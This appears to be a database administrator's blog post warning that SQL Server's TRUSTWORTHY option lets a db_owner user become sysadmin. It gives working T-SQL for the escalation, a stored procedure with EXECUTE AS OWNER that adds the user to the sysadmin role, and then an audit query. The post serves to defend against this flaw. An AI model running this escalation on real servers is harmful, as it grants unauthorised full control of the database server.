A warning about the TRUSTWORTHY database option

At some stage in your database career you may be tempted to set the TRUSTWORTHY database option, to on or be requested to do so by a project.

 

As I’ll show, you will get some seriously unwanted side effects if:

 

  1. the database owner is a member of the sysadmin server role e.g. sa, which is usually the norm to prevent orphaned database owners, and
  2. there is a user in the database who is a member of the db_owner database role.

 

Here goes…

 

You as a sysadmin are requested to set a database called testdb to have the TRUSTWORTHY database option enabled and therefore execute the below:

 

ALTER DATABASE testdb SET TRUSTWORTHY ON;

 

Below shows the option is enabled for the database.

 

 

Let’s say you have a database user called Bob who is a member of the db_owner database role in testdb.

 

 

To be clear, Bob is not a sysadmin and he shouldn’t be one.

 

SELECT IS_SRVROLEMEMBER('sysadmin')

 

Bob is however able to create stored procedures in testdb and he creates this one:

 

USE testdb
GO

CREATE PROCEDURE testsproc
WITH EXECUTE AS OWNER
AS
ALTER SERVER ROLE [sysadmin] ADD MEMBER [Bob]
GO

 

 

Now Bob executes his stored procedure and guess what he has become?

 

testsproc
GO
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

 

 

Now that should scare you and it would be good time to check which of your databases (besides msdb) have this option enabled.

 

SELECT name, is_trustworthy_on
FROM sys.databases
WHERE name <> 'msdb'
AND is_trustworthy_on = 1

 

Your email address will not be published.